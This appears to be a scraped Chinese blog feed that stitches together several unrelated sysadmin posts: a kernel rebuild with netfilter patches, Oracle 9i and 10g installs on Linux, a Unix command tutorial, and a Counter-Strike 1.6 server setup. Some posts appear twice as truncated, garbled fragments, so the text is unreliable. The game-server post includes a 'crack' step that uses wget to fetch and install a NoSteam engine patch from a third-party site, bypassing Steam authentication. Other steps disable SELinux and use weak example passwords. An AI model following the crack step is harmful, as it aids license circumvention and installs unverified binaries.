#define TCP_SYNACK_RETRIES 3

4、拷贝原来的config
cp /boot/config-2.6.9-42.ELsmp ./.config
注：我的是双cpu的机器，所以是ELsmp
make menuconfig

选择 Load an Alternate Configuration File
选择 .config
保存 退出

5、打netfilter补丁
cd /usr/src/path-o-matic-ng-20061024
./runme –download
注：上述命令选择下载ipp2p time等补丁
export KERNEL_DIR=/usr/src/linux-2.6.15.6
export IPTABLES_DIR=/usr/src/iptables-1.3.6
./runme ipp2p
./runme time
./runme connlimit

6、配置内核选项
networking
networking options
network packet filtering (replaces ipchains)
IP:Netfilter Configuration
把 ipp2p、time、 Connections/IP 选上

Security options
NSA SELinux Support 选项 去除

同时保存 退出

vi /etc/sysconfig/selinux
SELINUX=disabled

7、开始编译并安装
make all
make modules
make modules_install
make install

8、设置grub.conf
设置default=0的相关项

重新启动计算机

9、安装新版本iptable
cd /usr/src/iptables-1.3.6
export KERNEL_DIR=/usr/src/linux-2.6.15.6
export IPTABLES_DIR=/usr/src/iptables-1.3.6
make BINDIR=/sbin LIBDIR=/lib MANDIR=/usr/share/man install

10、测试
uname -r 显示内核版本
iptables -V 显示iptables版本
ulimit -a 显示最大打开文件等参数
top 选择1 看多cpu支持情况

前言：

由于项目需要，不得不在安装Oracle 9i 而不是10g .

内容：

1.基本条件. 安装debian 5.0 base-system, 然后安装gnome-desktop-environment. (KDE 也测试通过)

2.准备工作 1)调整系统内核参数. 根据ORACLE 官网的教程进行调整: ;

############################################# cat >> /etc/sysctl.conf 2) 链接文件找不到的错误 然后创建 /usr/lib/libstdc++-libc6.1-1.so.2 -> libstdc++-libc6.2-2.so.3 的链接 否则出现1.error while loading [...]]]> 本(简要)指南基于X86系列,以debian 5.0为模板。 虚拟环境(ESXi 3.5)

前言：

由于项目需要，不得不在安装Oracle 9i 而不是10g .

内容：

1.基本条件.
安装debian 5.0 base-system, 然后安装gnome-desktop-environment. (KDE 也测试通过)

2.准备工作
1)调整系统内核参数.
根据ORACLE 官网的教程进行调整:
;

#############################################
cat >> /etc/sysctl.conf < kernel.shmall = 2097152
kernel.shmmax = 536870912
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 65536 #debian 5.0 在ESXi下默认101858 当然是大点好阿
net.ipv4.ip_local_port_range = 1024 65000
net.core.rmem_default=262144
net.core.wmem_default=262144
net.core.rmem_max=262144
net.core.wmem_max=262144
EOF

/sbin/sysctl -p #让其立即生效
##############################################

2)添加用户和组
##############################################
/usr/sbin/groupadd oinstall
/usr/sbin/groupadd dba
/usr/sbin/useradd -m -g oinstall -G dba oracle

passwd oracle ##为用户oracle 设置密码
然后修改/etc/passwd 中oracle 使用bash 默认的使用sh.

##############################################

3)设置环境变量
添加以下内容到oracle的.bashrc中
##############################################
export LC_ALL=en_US.UTF-8
export ORACLE_BASE=/u01/app/oracle
export ORACLE_HOME=$ORACLE_BASE/OEM #我们设置放置的位置。
export ORACLE_TERM=xterm #此处可修改为gnome-terminal 或其他你喜好的终端
export ORACLE_SID=test #修改此处为你要设置的SID
export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib
export PATH=$PATHORACLE_HOME/bin
export CLASSPATH=$ORACLE_HOME/JREORACLE_HOME/jlibORACLE_HOME/rdbms/jlibORACLE_HOME/network/jlib
#export LD_PRELOAD=/usr/lib/libcwait.so
##############################################
4)下载Oracle 9i for linux 的安装盘.
保存于文件夹属性为oracleinstall 的文件夹下。
例如： /home/oracle/
3. 解决安装过程中可能出现的问题.
1) 安装编译环境. gcc make 等
Oracle 9i 基于 gcc 2.95 需要
安装gcc-2.95 和 g++-2.95
把默认的gcc 的链接修改为 到gcc-2.95的链接
添加etch 的源，update.
##############################################
aptitude install gcc-2.95 g++-2.95
ln -s /usr/bin/gcc-2.95 /usr/bin/gcc
##############################################

2) 链接文件找不到的错误
然后创建 /usr/lib/libstdc++-libc6.1-1.so.2 -> libstdc++-libc6.2-2.so.3 的链接
否则出现1.error while loading shared libraries:
libstdc++-libc6.1-1.so.2: cannot open shared object file: No such file or directory
##############################################
ln -s /usr/lib/libstdc++-libc6.2-2.so.3 /usr/lib/libstdc++-libc6.1-1.so.2
##############################################
3)libdb1-compat 这个是必须的否则会在安装过程中出错
##############################################
aptitude install libdb1-compat
##############################################
4)在vmware中安装的时候注意：把hostname 加到 /etc/hosts 中，不要用dhcp,否则出现个
Parameter “nodeinfo” = NO_VALUE 错误 (vmware server 1.x)
5)Unable to load native library: /tmp/OraInstallxxxx/jre/lib/i386/libjava.so: symbol __libc_wait, version GLIBC_2.0 not defined in file libc.so.6 with link time reference
##############################################
取消/home/oracle/.bashrc中
#export LD_PRELOAD=/usr/lib/libcwait.so
处的”#”号
把附件中的libcwait.so.zip 解压然后 把libcwait.so文件拷贝到”/usr/lib/”中
##############################################

4 安装
以用户oracle 的身份登录桌面.
进入放置Oracle 9i 的安装盘进行安装。
安装路径放在我们预先设置好的/u01/app/oracle/OEM 处即$ORACLE_HOME
5 创建数据库

我们用dbca 来创建数据库。
首先解决建库过程中出现的错误。

1. rm $ORACLE_HOME/JRE (此JRE目录是1.1.8 的符号链接)
2. ln -s $ORACLE_BASE/jre/1.3.1 $ORACLE_HOME/JRE
3. cd $ORACLE_BASE/jre/1.3.1/bin
4. ln -s java jre
5. cd i386/native_threads/
6.ln -s java jre

期间会需要给root权限给 root.sh 当你留空升级组的时候.
设置你的数据库名称，SID 我们设置为test.（合前面的SID相吻合）
忽略ORA-29807 ORA-01430 错误。
解决方法见：http://blog.csdn.net/grant85612/archive/2008/03/14/2182882.aspx

访问数据库:
开个终端, sqlplus “sys/system as sysdba” 现在你已经能访问你的数据库了。
根据$ORACLE_HOME/network/admin/sample 中的范例设置你的监听端口等等。

Web 方式:
启用web方式 $ORACLE_HOME/Apache/Apcache/bin/./apachectl start
$ORACLE_HOME/Apache/Apache/bin/http

http://hpserv01:7777/isqlplus

http://hpserv01:7777/isqlplusdba

首先需要初始化用户密码:
$ cd $ORACLE_HOME/sqlplus/admin
$ORACLE_HOME/Apache/Apache/bin/htpasswd iplusdba.pw oracle

6.这次关于RAW 方面的没有测试， 已经在ESXi 3.5 上做了软的 Raw .
先在把上次的 Etch 中添加raw 的一些东西贴出来，（未加整理）

创建裸设备
首先确保有raw加载
lsmod |grep raw
如果无者加入： modprobe raw
然后
=============================================================================
建立文件/etc/rawconfig，内容如下
# This file and interface are deprecated.
# Applications needing raw device access should open regular
# block devices with O_DIRECT.
# raw device bindings
# format:
#
# example: /dev/raw/raw1 /dev/sda1
# /dev/raw/raw2 8 5
#/dev/raw/raw1 /dev/sdb1 #去掉”#” 修改成的需要的设备
/dev/.static/dev/raw/raw1 /dev/sdb1
#/dev/raw/raw2 /dev/sdb2
#/dev/raw/raw3 /dev/sdb3
#/dev/raw/raw4 /dev/sdb4
=============================================================================
建立文件/etc/init.d/rawdevices,内容如下：
#!/bin/bash
#
# rawdevices This shell script assignes rawdevices to block devices
#
# chkconfig: 345 56 44
# description: This scripts assignes raw devices to block devices \
# (such as hard drive partitions). This is for the use \
# of applications such as Oracle. You can set up the \
# raw device to block device mapping by editing \
# the file /etc/sysconfig/rawdevices. Note that the use \
# of raw devices is deprecated, and applications should \
# open regular block devices with O_DIRECT instead.
#
# config: /etc/sysconfig/rawdevices

[ -f /sbin/raw ] || exit 0
[ -f /etc/rawconfig ] || exit 0
# Exit if the file just has the default comments.
LC_ALL=C /bin/egrep -q -v “^ *#” /etc/rawconfig 2>/dev/null || exit 0

function assign_raw()
{
LC_ALL=C egrep -v ‘^ *#’ /etc/rawconfig |
while read RAW BLOCK; do
if [ -n "$RAW" -a -n "$BLOCK" ]; then
rawdirname=${RAW%/*}
if [ "$rawdirname" = "/dev" -a -d /dev/raw ]; then
echo $” Please correct your /etc/rawconfig:”
echo $” rawdevices are now located in the directory /dev/raw/ ”
echo $” If the command ‘raw’ still refers to /dev/raw as a file.”
echo $” you’ll have to upgrade your util-linux package”
exit 0
fi
if [ "$rawdirname" = "/dev/raw" -a -f /dev/raw ]; then
echo $” Please correct your /etc/rawconfig:”
echo $” rawdevices are now located in the directory /dev/raw/ ”
echo $” If the command ‘raw’ still refers to /dev/raw as a file.”
echo $” you’ll have to upgrade your util-linux package”
exit 0
fi

echo ” $RAW –> $BLOCK”;
raw $RAW $BLOCK
fi
done
}

# See how we were called.
case “$1″ in
start)
# Assign devices
echo $”Assigning devices: ”
assign_raw
echo $”done”
;;
stop)
# No action to be taken here
;;

status)
ID=`id -u`
if [ $ID -eq 0 ]; then
raw -qa
else
echo $”You need to be root to use this command ! ”
fi
;;

restart|reload)
$0 start
;;

*)
echo $”Usage: $0 {start|stop|status|restart}”
exit 1
esac

exit 0
================================================================================
出现以下错误的解决方法
Cannot open raw device ‘/dev/rawctl’ (No such file or directory)
mknod /dev/rawctl c 162 0
cd /dev
.MAKEDEV raw
位置在这里/dev/.static/dev/raw/raw1 别弄错
开机自动加载raw模块
编辑/etc/modules
添加raw

结语：
掌握是一个过程。

补充：
出现该错误:
/lib/i386/libawt.so: libXp.so.6: cannot open shared object file: No such file or directory

安装 libxp6 即可解决～

world 7.banner 命令:将命令名后跟的ACSSII字符串以大字的方式显

示在屏幕上banner hello 8.wc 命令:用于计算一个指定的文件中的行数单词及字符数: 格式wc[-c(计算字符的数目)] [-l(计算行的数目)] [-w(计算

单词的数目)] filename 9.passwd 命令,用于修改口令. 10.man 命令:联机手册 六.shell的基本功能:命令解释器,程序设计语言. shell的退出命令. 1.exit 主要用于退出B_shell 2.logout 主要用于退出C_shell 3.ctrl+d 用于退出各类shell 第三章 通信 内部通信 外部通信 下. mail命令模式常用命令 如有下页则显示,否则退出mail. p 显示本邮件信息 d 删除当前邮件 n 显示下一个邮件 q 退出 mail,把末删除的邮件保存到个人邮箱中. R [...]]]> 常用组合键
ctrl+h,backspace :删除前面的字符.
ctrl+u:删除一整行.
ctrl+c,del,break: 强行终止正在运行的程序.
ctrl+d:
常用指令
1.date:查看当前时间.
2.cal:查看某一个月的月历.
3.Finger 命令:显示一个用户的详细信息.
4.who命令:显示所有登陆用户.who an i
5.clear 命令:执行清屏动作.
6.echo 命令:将命令名后跟随的参数显示在屏幕echo hello

world
7.banner 命令:将命令名后跟的ACSSII字符串以大字的方式显

示在屏幕上banner hello
8.wc 命令:用于计算一个指定的文件中的行数单词及字符数:
格式wc[-c(计算字符的数目)] [-l(计算行的数目)] [-w(计算

单词的数目)] filename
9.passwd 命令,用于修改口令.
10.man 命令:联机手册
六.shell的基本功能:命令解释器,程序设计语言.
shell的退出命令.
1.exit 主要用于退出B_shell
2.logout 主要用于退出C_shell
3.ctrl+d 用于退出各类shell
第三章 通信
内部通信
外部通信<1,电子邮件,2.即时通信
一.即时通讯
1.write 交谈命令 (半双工通信)
格式 write student1
ctrl+d 退出write
Write协议:消息发送结束用O(结束)
结束谈话用OO(结束并退出)
2.mesg 消息开关命令.用于查询和开关本终端的消息接收状态.
格式:mesg [-y] [-n]
$ mesg 查询本终端当前的消息接收状态
is y 可以接收消息
is n 拒绝接收消息
$ mesg n 设置关闭状态
$ mesg y 设置打开状态
3.talk 双向通信命令 (全双工方式)
4.wall 广播信息命令
二,电子邮件
$ mail username 发送邮件
$ mail 接收邮件
系统邮箱:在/usr/mail或/var/mail下,每个用户都有一个以其名字

命名的邮箱.例如:student8的系统邮箱可能为:/var/mail/student8
个人邮箱:个人邮箱通常为用户自己的主目录(home)下的mbox

文件.用户读过的邮件如果末删除或转存,则存放在个人邮箱中

.例如:student8的个人邮箱可能是:/home/student8/mbox
1.发送邮件:
$ mail student8
给多个用户发送邮件
a.$ mail student1 student2 student3 把用户列出来.
b.$ mail TEACHER TEACHER为用户组名,即向属于TEACHER

组所有用记发邮件.
c.$ alias usr_list student1 student2 student3给student1 student2

student3等多个名字建立一个部的别名usr_list,该别名只在本

shell中起作用,退出shell后无效.
$ mail usr_list
把已有的文件作为邮件发送给用户:
$ mail student8 < my_letter
发邮件给不存在的用户:
$ mail meizhegeren
mail命令本身能正常执行,由于无有效的接收方,所以系统把邮

件退回到用户主目录下dead.letter中.
2.接收邮件
不带参数输入mial表示读取邮件.此时已进入出境mail命令模式

下.
mail命令模式常用命令
如有下页则显示,否则退出mail.
p 显示本邮件信息
d 删除当前邮件
n 显示下一个邮件
q 退出 mail,把末删除的邮件保存到个人邮箱中.
R 回复邮件
! 执行shell命令.
? 显示mail的内部命令.
第四章 文件系统
与目录相关的命令(pwd,cd,mkdir,rmdir,ls)
与文件相关的命令(cp,mv,ln,more,rm)
1.pwd 显示当前工作目录
2.cd 改变当前目录
3.mkdir 创建目录
格式 mkdir dir_name
4.rmdir 删除目录
格式 rmdir dir_name
a.只能是空目录.
b.有写的权限
一次操作多个目录
- p 选项.在当前目录下逐级创建目录,也可以逐级删除目录.
5.ls 显示目录
$ ls -a 显示所有文件(以点开头的文件名是隐藏文件)
$ ls -R 显示所有子目录的内容
$ ls – l 能得到目录中的文件的详细信息.
-:普通 d: 目录 c: 字符设备 b: 块设备 p:管道
$ ls – C 以多列的格式列表,按列排序.
$ ls – F 如果是目录,文件名后加/,如果是可执行文件,加*表示.
$ ls – m 按页宽列文件,以逗号分隔.
$ ls – p 如果是目录,文件名后加/
$ ls – r 以字母反序列表
$ ls – s 以文件块为单位显示文件大小
$ ls – x 以多列的格式列表,按行排序.
$ ls -G 以不同的颜色显示.
$ ls -lc 显示更新时间
$ ls -i inode序号将列在第一列
$ ls -lu 显示访问时间
$ ls -I 显示更改时间
6.touch 命令:作用是用来修改文件访问时间更改时间的.并可以

用来创建0字节长度的文件.
格式 touch 命令参数
7.cp 命令:复制文件
格式 cp source target
$ cp file1 file2 … Target-dir
$ cp -i 如果目标文件存在,请求确认
$ cp -r 复制目录到新的目录
8.mv 命令:移动文件或命名文件
格式:mv source target
9.ln 命令:ln命令的主要功能是给一个已经存在的文件再取一个

名字.新的文件名与原文件名可以在同一个目录下,也可以以在

不同的目录下,新老文件名代表同一个文件.
格式ln source-file target-file
作用:在现有的文件与新文件之间建立新链接,使一个文件具有

一个以上的名字.
显示文件内容命令
10.cat 命令:用来显示.创建或者合并文件
格式cat filename
11.more 命令:逐屏显示文件内容.翻屏时用键.
格式:$ more filename
12.rm 命令:删除文件(删除后无法恢复)
格式:$ rm file
$ rm file1 file2
$ rm -i 删除文件前,给出确认
$ rm -r 删除指定的目录及目录中的所有文件和子目录.即删除

整个目录结构.
13.lp 命令:打印命令
14.cut 命令:切取文件内容,用于切取文件中的列或字段.它把文

本文件中每一行的一部分显示输出.运行时必须指定功能选项.
- f 指定字段的位置
-c 指定列的位置
-d 指定字段分隔符,缺省的字段分隔符是制表符tab
15.paste 命令:连接文件.
作用:把文件一行接一行地连接在一起,或者把两个或多个文件

的域连到一个新文件里.
格式: $paste 选项 参数
选项:-d 指定分隔符.默认是制表符
第五章 文件权限
16.chmod 命令:修改文件权限,常用chmod命令修改文件(包括普

通,目录和设备)的访问权限,
格式: chmod pattern filename …
finename 为要修改的权限文件名.可以有多个.
pattern 为将改变成的权限,可以用两种形式表示:字母式和数字

形式.
a,字母形式(符号模式)
字母形式由用户类别(u,g,o). 如何改变(+,-)和权限(r,w,x)三部分

组成.
u:本用户g:同组用户o:其它用户. + :增加权限 -:删除权限
r:读w:写x:执行
例如:chmod u+x file1
chmod o-w file2 file3
chmod go+r file4
b, 数值形式
格式: chmod 777 file1
*新建文件或目录最大权限=状态掩码+新建文件或目录缺省

权限.此时unask为000
对一个新建的文件,umask值为022则指定该文件的权限为644:
对一个新建的目录,umask值为022则指定该目录的权限为755
17.sort 命令:作用在于将指定的文件中的文件进行排序,并把排

序的结果输出到指定的标准输出中.
格式:$srot [-t delimiter] [+field] [.column]][option]
选项: -d 以字典顺序进行排序
-
18.head 命令:用于查看一个文件.或多个文件的前面几行的内

容.
格式:$ head [-number_of_lines] file(s)
19.tail 命令:用于显示从指定行开始直到文件末尾的文件内容
格式;tail [-number_of_lines | +number_of_lines]file
20.tee 命令:在获得输入后,将把该输入数据送到两个地点:标准

输出和文件.
21.grep 命令: 用于选项定包含特定模式的文本行.
21.find 命令:在目录中递归地搜索包括有特定字符的文件名.
22.df 命令:磁盘空间监测命令.显示当前系统中各个逻辑磁盘

中空闲的磁盘块数和空闲的索引节点(即可建立的新文件数)
23.du 命令:查看磁盘使用情况统计,统计指定的目录及所有子

目录的磁盘使用情况,统计单位是磁盘块数.
选项:-a 显示所有文件及子目录
24.fsck 命令:文件系统管理:用于检测和修复文件文件的错误,
25.tar命令:文件存储与备份.该命令可以把文件系统中的一个

或一组文件打成一个文件包.存放到外存上或硬盘上文件系统

的其它地方.常用于多个文件(包括目录)的备份或转移.
格式: tar -cvf target file1 file2 file3 …把file1 file2 file3等文件备份到

档案文件target中.
tar -tvf target 检查档案文件target中包含的文件信息.
tar -xvf targer [file1] 从档案文件target中提取全部或file指定

的文件.
26.shutdown 命令:系统关机
选项:-h 完全关机
-r 关机并重新启动系统
time 关机时间,如17:30
message 关机前向所有已登陆用户发送消息
例如: shutdown -r now 现在关机重启.
27.crypt 文件加密命令:用于对文本文件进行加密和解密.以防

止文件内容泄密.
例如:$ crypt < file > file.cry 对file加密,结果保存在file.cry中.key:加

密口令
$ crypt aaa 对aaa.cry解密,结果保存到aaa中. key:

解密口令
附:$ vi -x file.cry 编辑一个加密后的文件
28.compress/uncompress 文件压缩和解压命令
格式:compress data_file 加压后自动在文件名后加一个.Z
umcompress abc.Z
29.at 定时执行任务:在指定的时间一次性执行规定的任务.
at 15:30 在15:30分执行
who >> userlist 把上机用户清单发到userlist
30,cron 系统定量执行任务:
31,crontab 任务描述文件的管理命令.

编辑Response 文件 　　 这一步骤是字符界面装oracle的关键步骤 　　 到oracle 10g的安装目录下编辑response文件 　　 $cd /home/share/Oracle/Oracle10g_64bit/database/response/ 　　 可以看到oracle准备了6个response文件，实际上这些文件就是用来安装和配置oracle时的模板，分别是 custom.rsp dbca.rsp emca.rsp enterprise.rsp netca.rsp standard.rsp在这里挑了一个简单的response文件 enterprise.rsp，也可以根据实际情况去选用编辑其他几个response文件。 $cp custom.rsp myinst.rsp 　　 $vi myinst.rsp

修改几个地方，有几个不会改的，俺用## 两个#号注释，方便以后修改。

cd .. 转到安装文件所在目录 改好之后运行 ./runInstaller -silent -responseFile response/myinst.rsp 注意：最后面的 response/myinst.rsp 是相对路径。只要给出正确的应答文件就可以。

运行命令后 看到 屏幕上提示： End of install （后面省略两百字，一共是四行），就表示文件已经复制完毕。按回车键，出现提示符。

然后，转到安装目录： cd /opt/oracle/product/10.2.0/db_1 su 口令 ./root.sh 根据提示按 Enter 就可以。 这样就在字符下成功安装。 后续工作 建数据库。

后 续 工 作

测试： sqlplus： Oracle10g 数据库(手工)的开始和关闭

From diagnostic point of view it is [...]]]> L i n u x 字符环境下安装之关健步骤

编辑Response 文件
　　 这一步骤是字符界面装oracle的关键步骤
　　 到oracle 10g的安装目录下编辑response文件
　　 $cd /home/share/Oracle/Oracle10g_64bit/database/response/ 　　 可以看到oracle准备了6个response文件，实际上这些文件就是用来安装和配置oracle时的模板，分别是 custom.rsp dbca.rsp emca.rsp enterprise.rsp netca.rsp standard.rsp在这里挑了一个简单的response文件 enterprise.rsp，也可以根据实际情况去选用编辑其他几个response文件。
$cp custom.rsp myinst.rsp
　　 $vi myinst.rsp

修改几个地方，有几个不会改的，俺用## 两个#号注释，方便以后修改。

cd .. 转到安装文件所在目录
改好之后运行 ./runInstaller -silent -responseFile response/myinst.rsp
注意：最后面的 response/myinst.rsp 是相对路径。只要给出正确的应答文件就可以。

运行命令后 看到 屏幕上提示：
End of install （后面省略两百字，一共是四行），就表示文件已经复制完毕。按回车键，出现提示符。

然后，转到安装目录：
cd /opt/oracle/product/10.2.0/db_1
su
口令
./root.sh
根据提示按 Enter 就可以。
这样就在字符下成功安装。

后续工作
建数据库。

后 续 工 作

测试：
sqlplus： Oracle10g 数据库(手工)的开始和关闭

From diagnostic point of view it is very important to check sqlplus is
functioning properly. If not then your installation is having problems.

从诊断的观点检查sqlplus是非常重要的，它在适当起作用。 如果不说明您的设置有问题。

oracle@sles10:~> sqlplus “connect /as sysdba”

Enter password:
Connected to:
………..

SQL> show rel
SQL> show sga

SQL> exit
oracle@sles10:~>

1. To startup the database:
sl10$ sqlplus /nolog
SQL> connect / as sysdba
SQL> startup
2. To shutdown the database:
sl10$ sqlplus /nolog
SQL> connect / as sysdba
SQL> shutdown

有时候安装不成功，想重新干净的安装，可以这么做：
1 . 去除 /usr/local/bin 目录 下的 coraenv dbhome oraenv
2 . 去除 /etc/oratab , /etc/oracle
3 . 去掉安装 目录 /opt/oracle 目录下的 product admin oradata oralnventor 目录 。
#####################################################################################################################

Setp 2：下载所需软件 1：先到http://www.okgogogo.com/download/view.asp?id=393下载hlds_l_02162004.tar.gz 2：接下来下载NoSteamAuthEngines，这个是nosteam补丁： wget http://www.cstrike.ro/cstrike_files/engine.v15.tgz

Setp 3：安装 #cd /var #tar zxvf hlds_l_02162004.tar.gz

Setp 4：破解 #tar zxvf engine.tgz #mv engine_amd.so hlds_l/ #mv engine_i486.so hlds_l/ #mv engine_i686.so hlds_l/

Setp 5：配置 #cd hlds_l #mg cs #!/bin/sh ./hlds_run -game cstrike -port 27015 -insecure -ip x.x.x.x +servercfgfile server2.cfg +maxplayers 32 +map de_dust2 -nojoy -noipx -nomaster +localinfo Setp 6：server.cfg的设置(根据个人情况增添) rcon_password “rconpassword” // OP 密码 // “” 表示没有

hostname “CS1.6比赛专用服务器 #A01″ // 服务器名称

sv_region 4 // 服务器所在区域注册参数\r // 255=全球 // 0=美国东部 // 1=美国西部 // 2=南美洲\r // [...]]]> Setp 1：环境
1、操作系统OpenBSD4.4。
2、开启Linux支持
#mg /etc/sysctl.conf
去掉#kern.emul.linux=1前的#
#cd /usr/ports/emulators/redhat
#make install

Setp 2：下载所需软件
1：先到http://www.okgogogo.com/download/view.asp?id=393下载hlds_l_02162004.tar.gz
2：接下来下载NoSteamAuthEngines，这个是nosteam补丁：
wget http://www.cstrike.ro/cstrike_files/engine.v15.tgz

Setp 3：安装
#cd /var
#tar zxvf hlds_l_02162004.tar.gz

Setp 4：破解
#tar zxvf engine.tgz
#mv engine_amd.so hlds_l/
#mv engine_i486.so hlds_l/
#mv engine_i686.so hlds_l/

Setp 5：配置
#cd hlds_l
#mg cs
#!/bin/sh
./hlds_run -game cstrike -port 27015 -insecure -ip x.x.x.x +servercfgfile server2.cfg +maxplayers 32 +map de_dust2 -nojoy -noipx -nomaster +localinfo

Setp 6：server.cfg的设置(根据个人情况增添)
rcon_password “rconpassword”
// OP 密码
// “” 表示没有

hostname “CS1.6比赛专用服务器 #A01″
// 服务器名称

sv_region 4
// 服务器所在区域注册参数\r
// 255=全球
// 0=美国东部
// 1=美国西部
// 2=南美洲\r
// 3=欧洲
// 4=亚洲
// 5=澳洲
// 6=中东
// 7=非洲

sv_rcon_maxfailures 9999
// 输入OP密码 错误次数上限
// 达到上限则封禁对方的IP

sv_rcon_banpenalty 5
// 封禁的时限 单位 分钟
// 0=永久

sv_maxupdaterate 30
// 服务器每秒更新最大频率\r
// 根据实际网络状况调节
// 默认=30
// 局域=101

sv_minupdaterate 20
// 服务器每秒更新最小频率\r

sv_unlag 1
// 玩家延时补偿
// 0=关闭
// 1=开启 (默认)

sv_maxunlag 0.5
// 延时补偿最大值默认 0.5
// 0.5=500毫秒 (默认)

sv_voiceenable 1
// 服务器是否允许麦克风语音通讯
// 0=禁止
// 1=允许 (默认)

sv_unlagsamples 1
// 延时补偿数据包平均采样数量\r
// 默认=1

sv_unlagpush 0
// 服务器推进延时补偿\r
// 0=关闭 (默认)
// 1=开启\r

mp_autokick 0
// 自动踢除不动的玩家\r
// 0=关闭
// 1=开启 (比赛默认)

mp_autocrosshair 0
// 自动瞄准
// 0=关闭 (默认)
// 1=开启\r

mp_autoteambalance 0
// 自动平衡双方人数
// 0=关闭 (比赛默认)
// 1=开启\r

mp_buytime 0.25
// 每回合购买武器装备时间单位分钟\r
// 比赛默认=0.25

mp_consistency 1
// 防止某些模型被更改\r
// 0=关闭
// 1=开启 (默认)

mp_c4timer 35
// C4爆炸倒计时单位秒
// 比赛默认=35

mp_decals 300
// 墙壁上的血花弹孔贴图细节数据传送(200-300)

mp_falldamage 1
// 高处落下伤害
// 0=关闭
// 1=开启 (默认)

mp_fadetoblack 0
// 死后黑屏
// 0=关闭 (默认)
// 1=开启\r

mp_flashlight 1
// 手电筒\r
// 0=禁止
// 1=允许 (默认)

mp_forcechasecam 2
// 死后跟随
// 0=所有玩家\r
// 1=仅队友\r
// 2=仅队友，主视角 (比赛默认)

mp_forcecamera 2
// 死后视角选择
// 0=全部视角
// 1=仅队友，全部视角
// 2=仅队友，主视角 (比赛默认)

mp_footsteps 1
// 脚步声\r
// 0=关闭
// 1=开启 (默认)

mp_fraglimit 0
//杀人数上限(1~n)，超过上限就换地图\r
// 0=关闭 (默认)

mp_freezetime 7
// 每回合开始冻结时间单位秒

mp_friendlyfire 1
// 友军伤害
// 0=关闭
// 1=开启 (默认)

mp_friendly_grenade_damage 1
// 友军手雷伤害
// 0=关闭
// 1=开启\r

mp_hostagepenalty 0
// 惩罚人质杀手\r
// 0=不惩罚 (默认)
// 1~N=人质被杀数量，超过则踢出该玩家\r

mp_limitteams 10
// 两队人数差异上限
// 超过此上限，新玩家只能当观察员\r
// 比赛默认=10

sv_logbans 1
// 服务器日志里记录Ban掉玩家的内容
// 0=不记录\r
// 1=记录

mp_logecho 1
// 将服务器日志反馈到控制台
// 0=关闭
// 1=开启\r

mp_logdetail 3
// 服务器日志里记录攻击信息
// 0=不记录任何信息\r
// 1=记录敌人攻击
// 2=记录队友攻击
// 3=记录所有攻击\r

mp_logfile 1
// 服务器记录日志为文件
// 0=不记录\r
// 1=记录

mp_logmessages 1
// 服务器日志里记录谈话内容
// 0=不记录\r
// 1=记录

mp_maxrounds 0
// 回合上限，达到此上限，自动重新载入新地图
// 0=无回合上限 (默认)

mp_playerid 0
// 当准星指向敌人或队友时，显示他们的名字\r
// 0=关闭 (比赛默认)
// 1=开启\r

mp_roundtime 1.75
// 每回合时限单位分钟\r

mp_timelimit 0
// 地图最大时限，达此时限，自动重新载入新地图
// 0=无时限\r

mp_tkpunish 0
// 惩罚队友杀手\r
// 0=关闭 (默认)
// 1=开启\r

mp_startmoney 800
// 第一回合开始金钱(800~16000)
// 加时赛=10000

mp_winlimit 0
// 一方最大胜利回合数，达到此数量，自动重新载入新地图
// 0=无限制 (默认)

sv_aim 0
// 自动瞄准
// 0=关闭 (默认)
// 1=开启\r

sv_airaccelerate 10
// 玩家在空中移动的速度
// 默认=10

sv_airmove 1
// 在空中移动&转向
// 0=禁止
// 1=允许(默认)

sv_allowdownload 1
// 客户端下载服务器资源
// 0=禁止
// 1=允许 (默认)

sv_allowupload 1
// 客户端上传自己的喷图
// 0=禁止
// 1=允许 (默认)

sv_alltalk 0
// 警匪通话
// 0=禁止 (默认)
// 1=允许

sv_proxies 1
// HLTV代理
// 0=禁止
// 1=允许 (默认)

sv_cheats 0
// 作弊模式
// 0=关闭 (默认)
// 1=开启\r

sv_clienttrace 1.0
// 客户端模型的范围框的尺寸
// 默认 1.0

sv_clipmode 0
// 锁定客户端快速模式\r
// 0=关闭(默认)
// 1=开启\r

sv_contact boezombie@gmail.com
// 服务器构建者的联系邮箱

sv_friction 4
// 地面摩擦力默认 4
// 数值越低，摩擦越小

sv_gravity 800
// 重力默认 800

sv_maxrate 25000
// 服务器最大传输速率 <0-25000>
// (服务器上传带宽 x 125) /服务器设定的最大人数 = 要设的值\r
// 0=无限制\r
// 局域=25000

sv_maxspeed 320
// 客户端最大移动速度

sv_minrate 0
// 服务器最小传输速率 <0-25000>
// sv_maxrate / 300 = 要设的值\r
// 0=无限制\r

sv_restartround 0
// 重新开始第一回合在n秒后

sv_restart 0
// 重新开始游戏在n秒后
// 作用等同于sv_restartround

sv_send_logos 1
// 客户端相互之间传送喷图\r
// 0=禁止
// 1=允许(同时确保sv_allowdownloads键值为1)

sv_sendvelocity 0
// 服务器混合物理运算，适用于较好配置的服务器\r
// 0=关闭
// 1=开启\r

sv_send_resources 1
// 自动向客户端传送地图关联的 & .res文件里包括的资源文件
// 0=关闭
// 1=开启(同时确保sv_allowdownload为1)

sv_stepsize 18
// 玩家的步伐距离\r
// 默认 18

sv_stopspeed 75
// 玩家停止移动时的速度默认 75

sv_timeout 65
// 客户端连接服务器超时的时限，达到时限则断开连接

sv_voicecodec voice_speex
// 语音通话解码
// voice_miles是HL引擎长期以来用的语音解码(默认)，占用带宽较大，为32kbps
// voice_speex是Valve新加入的解码，优于voice_miles，占用带宽较少，为2.4kbps至15.2kbps

sv_voicequality 5
// 客户端语音通话质量(确保sv_voicecodec voice_speex)
// 1=非常差………..占用带宽 2.4 kbps
// 2=差……………占用带宽 6.0 kbps
// 3=中等………….占用带宽 8.0 kbps
// 4=好……………占用带宽 11.2 kbps
// 5=非常清晰………占用带宽 15.2 kbps

allow_spectators 1
// 观察员模式\r
// 0=禁止
// 1=允许

decalfrequency 60
// 玩家喷图的时间间隔单位秒

edgefriction 2
// 玩家与玩家、墙壁、物体之间的摩擦
// 默认 2

host_framerate 0
// 与Demo录制有关
// 0 // n=0 为正常(默认)
// n>1 为快录\r

log on
// 开始记录日至\r

pausable 1
// 客户端暂停游戏\r
// 0=禁止
// 1=允许

mapcyclefile mapcycle.txt
// 地图循环列表所在的.txt文件
// *.txt = cstrike\*.txt文件

